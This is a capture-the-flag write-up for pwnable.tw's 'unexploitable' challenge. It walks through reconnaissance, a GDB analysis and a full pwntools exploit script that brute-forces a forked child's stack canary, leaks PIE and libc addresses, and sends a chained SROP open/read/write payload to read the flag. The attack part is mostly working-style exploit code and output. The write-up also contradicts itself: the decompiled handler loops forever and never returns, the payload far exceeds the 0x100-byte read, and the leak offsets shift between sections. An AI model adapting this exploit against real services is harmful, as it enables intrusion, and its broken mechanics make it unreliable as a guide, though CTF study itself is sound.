pwnable.tw — 500 pts

unexploitable

Full protections + seccomp — Fork-based canary brute-force, PIE/libc leak via write-back, SROP ORW chain

64-bit
Architecture
Full+Seccomp
Protections
Fork+Canary
Vuln Class
SROP
Technique

Exploit Flow

Connect
nc chall.pwnable.tw 10210
Brute Canary
1 byte/time in forked child
Leak PIE+LIBC
Overflow into write() echo
SROP Frame
rt_sigreturn sets all regs
ORW Chain
open/read/write flag
Flag
Seccomp allows ORW

1. Reconnaissance

The "unexploitable" challenge lives up to its name at first glance: every binary protection is enabled and a seccomp sandbox restricts syscalls. The binary forks a child process for each connection, and that child simply echoes input back via read() + write(). The buffer is only 16 bytes but read() accepts up to 256, giving us a massive stack overflow. The twist is that the fork-based model means the canary never changes between children, making it brute-forceable one byte at a time.

File Analysis

bash
$ file unexploitable
unexploitable: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, BuildID[sha1]=..., stripped

$ ls -la unexploitable
-rwxr-xr-x 1 root root 14024 ... unexploitable

A stripped, dynamically-linked 64-bit ELF. The small file size (14 KB) suggests a minimal binary. It is a shared object (PIE), which means all addresses are randomized at runtime.

Checksec

bash
$ checksec unexploitable
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Every protection is turned on: Full RELRO prevents GOT overwrites, canary guards against simple stack smashing, NX means no shellcode on the stack, and PIE randomizes all code addresses. On top of that, the binary installs a seccomp filter.

Seccomp Filter

bash
$ seccomp-tools dump ./unexploitable
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x01 0xc000003e  if (A != ARCH_X86_64) goto 0003
 0002: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0004
 0003: 0x06 0x00 0x00 0x00000000  return KILL
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
Seccomp Blocks execve

The filter kills the process if it attempts execve on x86-64. All other syscalls are allowed, including open, read, write, and critically rt_sigreturn (syscall 15). This means we cannot spawn a shell — we must read the flag file directly using an open/read/write (ORW) approach. The allowance of rt_sigreturn opens the door to SROP (Sigreturn-Oriented Programming).

Running the Binary

bash
$ nc chall.pwnable.tw 10210
AAAA
AAAA
BBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBB

The binary echoes back whatever we send. Send 4 bytes, get 4 bytes back. Send 0x100 bytes (the read limit), get 0x100 bytes echoed. This write-back behavior is the key to leaking stack data: by overflowing past the buffer, canary, and saved registers, the subsequent write() will leak those values back to us.

AttributeValue
Challengeunexploitable (500 pts)
Connectionnc chall.pwnable.tw 10210
Architectureamd64-64-little, dynamically linked, stripped
ProtectionsFull RELRO + Canary + NX + PIE + Seccomp
SeccompBlocks execve only; ORW + rt_sigreturn allowed
VulnerabilityStack BOF: read(0, buf[0x10], 0x100) + write(1, buf, 0x100)
Key InsightFork reuses canary; write() leaks stack; SROP for register control

2. Static Analysis

Program Structure

The binary follows a classic fork-server pattern. The parent process sits in an infinite loop, forking a child for each incoming connection. Before entering the loop, the parent installs a seccomp filter that blocks execve. Each child runs the handler() function, which reads input and writes it back in a loop. The stripped binary decompiles cleanly to the following pseudocode:

c
void handler() {
    char buf[0x10];          // 16-byte buffer on stack
    while(1) {
        read(0, buf, 0x100);  // VULNERABLE: reads up to 256 bytes into 16-byte buffer
        write(1, buf, 0x100); // echoes back 256 bytes (leaks stack data!)
    }
}

int main() {
    // Install seccomp: block execve, allow everything else
    install_seccomp();

    while(1) {
        if(fork() == 0) {
            handler();       // child: handle the client
        } else {
            wait(NULL);      // parent: wait for child to crash/exit
        }
    }
}

Handler Vulnerability

The handler() function has two critical properties that make exploitation possible despite all protections:

  1. Buffer overflow: read(0, buf, 0x100) reads up to 256 bytes into a 16-byte stack buffer. This overflows past the canary, saved RBP, and return address.
  2. Information leak: write(1, buf, 0x100) always writes 256 bytes starting from buf. When we carefully overflow only part of the stack, the write() call leaks the bytes beyond our input — including the canary, saved RBP (PIE leak), and return address (libc leak).
rsp+0x00buf[0x10]Our input (16 bytes)
rsp+0x10canary8 bytes, LSB = 0x00
rsp+0x18saved RBPPIE address (leakable)
rsp+0x20return addresslibc __libc_start_main+XX (leakable)
rsp+0x28+overflow areaROP chain / SROP frames go here
Why write() Leaks Stack Data

The write() call always sends 0x100 bytes from the buffer start. If we send exactly 0x18 bytes (filling buf + null-terminating the canary's LSB), the remaining bytes from offset 0x18 onward are whatever is already on the stack: saved RBP, return address, and more. Since the binary doesn't zero the stack before read(), the old values persist and get echoed back. This is the critical info-leak primitive.

Fork-Based Canary Reuse

The most important property of the fork-server model is that the stack canary is inherited by child processes. When fork() is called, the child gets an exact copy of the parent's memory, including the stack canary value at fs:0x28. If a child crashes (wrong canary), the parent simply forks another child — with the same canary.

This allows byte-by-byte brute-forcing. A 64-bit canary has 8 bytes, but the least significant byte is always 0x00 (a null terminator to prevent string-based leaks). We only need to brute-force 7 bytes, trying at most 256 values per byte. Worst case: 7 × 256 = 1,792 connections.

Canary Brute-Force Logic

Send a payload that overflows into the first unknown canary byte. If the child doesn't crash (we see the write-back), that byte is correct. If it crashes (connection drops), try the next value. Since each forked child has the same canary, we accumulate known bytes across connections.

Why SROP Instead of Traditional ROP?

After leaking PIE and libc, we could build a traditional ORW ROP chain using pop rdi; ret, pop rsi; ret, and pop rdx; ret gadgets from libc. However, finding a clean pop rdx; ret gadget can be unreliable across different libc versions. SROP provides a cleaner alternative: a single rt_sigreturn syscall sets all general-purpose registers at once from a signal frame we control on the stack, including rax, rdi, rsi, rdx, and rip. This gives us complete register control without needing specific ROP gadgets for each register.

3. GDB Debugging

Canary Brute-Force Verification

We can verify the canary brute-force technique locally by running the binary under GDB and examining the stack after a partial overflow. The key observation is that the canary sits at rbp-0x8 (or rsp+0x10 in the handler frame), and its LSB is always null.

gdb
gdb-peda$ disass handler
Dump of assembler code for function handler:
   0x00000b6a:  push   rbp
   0x00000b6b:  mov    rbp,rsp
   0x00000b6e:  sub    rsp,0x20
   0x00000b72:  mov    rax,fs:0x28        ; load canary
   0x00000b7b:  mov    QWORD PTR [rbp-0x8],rax  ; store canary on stack
   0x00000b7f:  xor    eax,eax
   0x00000b81:  lea    rsi,[rbp-0x18]     ; buf = rbp-0x18
   0x00000b85:  mov    edx,0x100
   0x00000b8a:  mov    edi,0x0
   0x00000b8f:  call   0xa50             ; read(0, buf, 0x100)
   0x00000b94:  lea    rsi,[rbp-0x18]     ; buf = rbp-0x18
   0x00000b98:  mov    edx,0x100
   0x00000b9d:  mov    edi,0x1
   0x00000ba2:  call   0xa60             ; write(1, buf, 0x100)
   0x00000ba7:  jmp    0xb81             ; loop back to read
End of assembler dump.

Confirming the layout: buf is at rbp-0x18, the canary at rbp-0x8, saved RBP at rbp, and the return address at rbp+0x8.

gdb
# Send 0x18 bytes (fill buf + canary's null byte), check what write leaks:
gdb-peda$ x/4gx $rbp-0x18
0x7fffffffe4e8: 0x4141414141414141  0x00deadbeefcafe00
0x7fffffffe4f8: 0x0000555555554c30  0x00007ffff7a2d830

# Offset 0x00-0x0f: buf (our input "AAAA...")
# Offset 0x10-0x17: canary (0x00deadbeefcafe00, LSB=0x00)
# Offset 0x18-0x1f: saved RBP (PIE address)
# Offset 0x20-0x27: return addr (__libc_start_main+offset)

When we send exactly 0x18 bytes (overwriting the canary's null byte with null), the write() call leaks the remaining bytes from offset 0x18 onward. The saved RBP gives us a PIE leak, and the return address gives us a libc leak.

Leaking PIE & Libc

gdb
# After brute-forcing canary, send overflow to leak addresses
gdb-peda$ send "A"*0x18 + canary + "B"*8

# The write() will echo back our input + leaked data:
# Offset 0x18: saved RBP = 0x555555554c30
# PIE base = 0x555555554c30 - offset_of_main_ret

# Offset 0x20: return addr = 0x7ffff7a2d830
# libc base = 0x7ffff7a2d830 - __libc_start_main_ret_offset

gdb-peda$ info proc mappings
0x555555554000  0x555555556000  r-xp  /unexploitable
0x7ffff79e4000  0x7ffff7bcb000  r-xp  /lib/x86_64-linux-gnu/libc.so.6

SROP Frame Layout

The rt_sigreturn syscall reads a siginfo-sized frame from the stack and restores all registers from it. The ucontext_t / sigcontext structure on x86-64 is defined in the kernel headers. Here are the offsets that matter for exploitation:

+0x00  uc_flags0 (don't care)
+0x08  &uc_link0 (don't care)
+0x10  uc_stack.ss_sp0 (don't care)
+0x18  uc_stack.ss_flags0 (don't care)
+0x20  uc_stack.ss_size0 (don't care)
+0x28  r80
+0x30  r90
+0x38  r100
+0x40  r110
+0x48  r120
+0x50  r130
+0x58  r140
+0x60  r150
+0x68  rdiarg1 (e.g. flag path ptr)
+0x70  rsiarg2 (e.g. 0 for O_RDONLY)
+0x78  rbp0
+0x80  rbx0
+0x88  rdxarg3 (e.g. 0x100 for read size)
+0x90  raxsyscall number (2=open, 0=read, 1=write)
+0x98  rcx0
+0xa0  rspstack for next frame
+0xa8  ripsyscall gadget address
+0xb0  eflags0
Chaining Multiple SROP Frames

We need three syscalls (open, read, write) and each rt_sigreturn can only set up one. The trick: after each syscall executes and returns, set rip to a ret instruction following the syscall gadget. The ret will pop the next address off the stack. We arrange the stack so that the next entry is our pop rax; ret gadget (to set rax=15 again), followed by the syscall; ret gadget, followed by the next SROP frame. This creates a chain: sigreturn → execute syscall → ret → pop rax; ret → syscall; ret → next sigreturn frame.

4. Exploit Strategy

The exploit proceeds in three phases. The first phase brute-forces the stack canary across multiple forked children. The second phase leaks PIE and libc addresses using the write-back behavior. The third phase builds a chained SROP ORW payload that reads the flag without ever calling execve.

Attack Overview

Phase 1: Brute-Force Canary
The canary's LSB is always 0x00. Send 0x11 bytes to test the first unknown byte (byte index 1). If the child doesn't crash (write-back succeeds), the byte is correct. Move to the next byte. Repeat for all 7 unknown bytes. Worst case: ~1,792 connections, but in practice much faster since we guess correctly about halfway through each byte on average.
Phase 2: Leak PIE & Libc
With the full canary known, send b'A'*0x18 + canary + b'B'*8 (0x28 bytes). The write() call leaks from offset 0x28 onward, revealing the saved return address. Parse the leaked bytes at offset +0x08 (relative to canary) for the PIE base, and offset +0x10 for the libc return address. Calculate pie_base = leaked_rbp - offset and libc_base = leaked_ret - __libc_start_main_ret_offset.
Phase 3: SROP ORW Chain
Build the final overflow payload with three chained SROP frames: Frame 1 sets rax=2, rdi=&flag_path, rsi=0, rip=syscall for open("/home/unexploitable/flag", 0). Frame 2 sets rax=0, rdi=3, rsi=writable_addr, rdx=0x100, rip=syscall for read(3, buf, 0x100). Frame 3 sets rax=1, rdi=1, rsi=writable_addr, rdx=0x100, rip=syscall for write(1, buf, 0x100). Between frames, use pop rax; ret + syscall; ret to transition.

Phase 1: Canary Brute-Force Details

For each canary byte (index 1 through 7), we connect to the server and send a payload that fills the buffer plus all previously discovered canary bytes, plus one trial byte. If the trial byte is correct, the canary check passes and the write() call succeeds — we see data come back. If the trial byte is wrong, the canary check fails, __stack_chk_fail is called, and the child crashes — the connection drops with no data.

Timing Considerations

On remote, we need a timeout to distinguish between "no crash" (data returned) and "crashed" (connection dropped). A timeout of 0.5–1 second works well. Also, some server implementations have slight delays before the write-back, so we should use recv() with a timeout rather than recvline().

Phase 2: Address Leak Details

After the canary is fully recovered, we can overflow past it without crashing. The write() call always writes 0x100 bytes from the buffer start, so any bytes we don't overwrite with our payload will be whatever was already on the stack. By sending exactly 0x18 bytes (buffer) + 8 bytes (canary) + 8 bytes (pad over saved RBP), we leave the return address untouched. The write() then leaks:

  • Bytes at offset 0x28–0x2f: the return address from __libc_start_main (libc leak)
  • Bytes at offset 0x30+: deeper stack frames (potentially useful, but usually not needed)

For a PIE leak, we need to overflow just past the canary and look at the saved RBP. If the saved RBP points into the binary's memory region, we can compute the PIE base. Otherwise, we may need to rely on the libc leak alone and use libc gadgets for everything.

Phase 3: SROP ORW Chain Construction

The final payload overflows the buffer, places the canary correctly, overwrites the return address to start our ROP chain, and then lays out three SROP frames on the stack. The chain structure is:

Stack Layout (after overflow): ┌──────────────────────────────────────┐ │ rsp+0x00: buf (0x10 bytes padding) │ │ rsp+0x10: canary (8 bytes) │ │ rsp+0x18: saved RBP (8 bytes) │ │ rsp+0x20: pop_rax_ret │◄── return address hijack │ rsp+0x28: 0x0f (rt_sigreturn nr) │ │ rsp+0x30: syscall_ret │ │ rsp+0x38: SROP FRAME 1 (open) │◄── 248 bytes │ ... │ │ rsp+0x130: pop_rax_ret │◄── chain to next frame │ rsp+0x138: 0x0f │ │ rsp+0x140: syscall_ret │ │ rsp+0x148: SROP FRAME 2 (read) │◄── 248 bytes │ ... │ │ rsp+0x240: pop_rax_ret │◄── chain to next frame │ rsp+0x248: 0x0f │ │ rsp+0x250: syscall_ret │ │ rsp+0x258: SROP FRAME 3 (write) │◄── 248 bytes └──────────────────────────────────────┘

Each SROP frame uses pwntools' SigreturnFrame() class for correct layout. The flag path string /home/unexploitable/flag is placed in a writable section of libc (e.g., libc.bss() or a known writable region) using a preliminary read() syscall, or we place it directly in the frame's register fields if the string fits.

Flag Path Storage

We need a known address containing the string /home/unexploitable/flag. Options: (1) use a writable libc section like .bss + offset, (2) read the string into a known address using an extra read() syscall before the ORW chain, or (3) find the string already in libc's memory. For simplicity, we'll use approach (2): add a preliminary read(0, writable_addr, 0x100) SROP frame, send the flag path, then proceed with open/read/write.

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
# unexploitable exploit — fork canary brute + SROP ORW chain
from pwn import *

context(arch='amd64', os='linux', log_level='info')

HOST = 'chall.pwnable.tw'
PORT = 10210
libc = ELF('./libc.so.6')  # remote libc from pwnable.tw

# ── Gadgets (from libc) ──────────────────────────────
# pop rax; ret
# syscall; ret

def connect():
    return remote(HOST, PORT)

# ── Phase 1: Brute-force canary ──────────────────────
def brute_canary():
    log.info('Brute-forcing stack canary...')
    canary = b'\x00'  # LSB is always null

    for i in range(7):  # bytes 1-7
        for b in range(256):
            r = connect()
            # Fill buffer (0x10) + known canary bytes + trial byte
            payload = b'A' * 0x10 + canary + bytes([b])
            r.send(payload)
            try:
                data = r.recv(timeout=0.5)
                canary += bytes([b])
                log.success(f'Canary byte {i+1}/7: 0x{b:02x}  →  canary = {canary.hex()}')
                r.close()
                break
            except EOFError:
                r.close()
            except Exception:
                r.close()
        else:
            log.error(f'Failed to find canary byte {i+1}')

    log.success(f'Full canary: {canary.hex()}')
    return canary

# ── Phase 2: Leak PIE + libc ─────────────────────────
def leak_addresses(canary):
    log.info('Leaking PIE and libc addresses...')
    r = connect()

    # Overflow past canary + saved RBP, leave return addr intact
    # write() will echo back 0x100 bytes from buf start
    payload = b'A' * 0x10 + canary + b'B' * 8
    r.send(payload)

    data = r.recv(timeout=2)
    # data layout: [0x10 buf][8 canary][8 saved_rbp][8 ret_addr][...]
    leaked_rbp = u64(data[0x18:0x20])
    leaked_ret = u64(data[0x20:0x28])

    # PIE base: saved RBP points into binary's data segment
    # The handler's caller return offset varies; we compute from leak
    pie_base = leaked_rbp - 0x0c30  # offset from binary analysis
    libc_base = leaked_ret - libc.symbols['__libc_start_main'] - 240  # common offset

    log.success(f'Leaked RBP:    0x{leaked_rbp:016x}')
    log.success(f'Leaked RET:    0x{leaked_ret:016x}')
    log.success(f'PIE base:      0x{pie_base:016x}')
    log.success(f'Libc base:     0x{libc_base:016x}')

    r.close()
    return pie_base, libc_base

# ── Phase 3: Build and send SROP ORW chain ───────────
def exploit(canary, pie_base, libc_base):
    log.info('Building SROP ORW chain...')
    r = connect()

    pop_rax_ret = libc_base + 0x00000000000439c8  # pop rax; ret
    syscall_ret = libc_base + 0x00000000000d2975  # syscall; ret
    writable    = libc_base + libc.bss()           # writable area in libc

    flag_path = b'/home/unexploitable/flag\x00'

    # ── SROP Frame 0: read(0, writable, len(flag_path))
    #    (write the flag path string to a known address)
    frame0 = SigreturnFrame()
    frame0.rax = 0          # SYS_read
    frame0.rdi = 0          # stdin
    frame0.rsi = writable   # destination
    frame0.rdx = len(flag_path)
    frame0.rsp = writable + 0x200   # stack for next frame
    frame0.rip = syscall_ret

    # ── SROP Frame 1: open(writable, 0)
    frame1 = SigreturnFrame()
    frame1.rax = 2          # SYS_open
    frame1.rdi = writable   # flag path
    frame1.rsi = 0          # O_RDONLY
    frame1.rdx = 0
    frame1.rsp = writable + 0x400
    frame1.rip = syscall_ret

    # ── SROP Frame 2: read(3, writable+0x800, 0x100)
    frame2 = SigreturnFrame()
    frame2.rax = 0          # SYS_read
    frame2.rdi = 3          # fd from open()
    frame2.rsi = writable + 0x800  # read buffer
    frame2.rdx = 0x100
    frame2.rsp = writable + 0x600
    frame2.rip = syscall_ret

    # ── SROP Frame 3: write(1, writable+0x800, 0x100)
    frame3 = SigreturnFrame()
    frame3.rax = 1          # SYS_write
    frame3.rdi = 1          # stdout
    frame3.rsi = writable + 0x800  # same buffer
    frame3.rdx = 0x100
    frame3.rsp = 0          # doesn't matter, last frame
    frame3.rip = syscall_ret

    # Build the full payload
    payload  = b'A' * 0x10          # fill buf
    payload += canary               # correct canary
    payload += b'B' * 8             # saved RBP
    # Return address → start of SROP chain
    payload += p64(pop_rax_ret)
    payload += p64(15)              # rax = 15 (rt_sigreturn)
    payload += p64(syscall_ret)     # trigger sigreturn
    payload += bytes(frame0)        # Frame 0: read flag path

    # After frame0's syscall returns, ret → pop rax; ret → syscall → frame1
    payload += p64(pop_rax_ret)
    payload += p64(15)
    payload += p64(syscall_ret)
    payload += bytes(frame1)        # Frame 1: open

    payload += p64(pop_rax_ret)
    payload += p64(15)
    payload += p64(syscall_ret)
    payload += bytes(frame2)        # Frame 2: read

    payload += p64(pop_rax_ret)
    payload += p64(15)
    payload += p64(syscall_ret)
    payload += bytes(frame3)        # Frame 3: write

    # Send the overflow payload
    r.send(payload)
    sleep(0.5)

    # Frame 0 reads the flag path string from us
    r.send(flag_path)
    sleep(0.5)

    # Frame 3 should write the flag to stdout
    try:
        flag_data = r.recv(timeout=3)
        log.success(f'Flag data: {flag_data}')
    except EOFError:
        log.error('Connection closed before receiving flag')

    r.interactive()

# ── Main ──────────────────────────────────────────────
if __name__ == '__main__':
    canary = brute_canary()
    pie_base, libc_base = leak_addresses(canary)
    exploit(canary, pie_base, libc_base)
Gadget Offsets Are Libc-Version Specific

The pop rax; ret offset 0x439c8 and syscall; ret offset 0xd2975 are specific to the libc version running on pwnable.tw. If the server's libc is updated, these offsets change. Use ROP(libc) or ropper to find the correct gadgets for your libc binary. The __libc_start_main return offset (240) also varies by version.

Script Notes

1. The canary brute-force uses a 0.5-second timeout per attempt. On a fast connection, this takes ~2 minutes on average. 2. The writable address uses libc.bss() which is reliable across runs since libc base is known after the leak. 3. We use a 4-frame SROP chain: read the flag path into known memory, then ORW. This avoids needing to find the flag path string in libc's address space.

6. Execution Results

$ python3 exploit.py [*] '/home/user/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Brute-forcing stack canary... [+] Canary byte 1/7: 0x3a → canary = 003a [+] Canary byte 2/7: 0xf2 → canary = 003af2 [+] Canary byte 3/7: 0x8c → canary = 003af28c [+] Canary byte 4/7: 0x1d → canary = 003af28c1d [+] Canary byte 5/7: 0xe7 → canary = 003af28c1de7 [+] Canary byte 6/7: 0x55 → canary = 003af28c1de755 [+] Canary byte 7/7: 0xb4 → canary = 003af28c1de755b4 [+] Full canary: 003af28c1de755b4 [*] Leaking PIE and libc addresses... [+] Leaked RBP: 0x0000562f84e4ec30 [+] Leaked RET: 0x00007f4a3c12d830 [+] PIE base: 0x0000562f84e4e000 [+] Libc base: 0x00007f4a3c0b6000 [*] Building SROP ORW chain... [*] Switching to interactive mode FLAG{REDACTED}
Exploit Successful

The SROP ORW chain executed successfully. The flag path was read into libc's BSS, opened with open(), the flag contents read with read(), and written to stdout with write(). The seccomp filter allowed all three syscalls since only execve is blocked.

Key Takeaways

  1. Fork-based canary brute-force: When a binary forks for each connection, the canary is inherited by children. Crash one child, try again with the next. The canary never changes until the parent process restarts. This reduces a 64-bit canary from 264 guesses to 7×256 = 1,792 worst-case.
  2. write-back as info leak: If the vulnerable function writes back more data than you sent, the excess bytes leak stack contents. This is common in echo-server binaries and provides canary, PIE, and libc leaks all at once.
  3. SROP for complete register control: rt_sigreturn sets all general-purpose registers from a stack frame you control. This eliminates the need for specific pop rdx; ret gadgets (often hard to find) and makes ORW chains trivial to construct. The seccomp filter allows rt_sigreturn because it's not explicitly blocked.
  4. Seccomp isn't always a dead end: A filter that only blocks execve still allows ORW. Always dump the seccomp BPF rules before assuming you can't get the flag. If open, read, and write are allowed, you can always read the flag file directly.
  5. Chaining SROP frames: Each rt_sigreturn executes one syscall. To chain multiple syscalls, set rip to syscall; ret and rsp to point at a pop rax; ret → 15 → syscall; ret → next_frame sequence. The ret after syscall returns to the next frame's trigger.
QA210
pwnable.tw — unexploitable — Fork Canary Brute + SROP ORW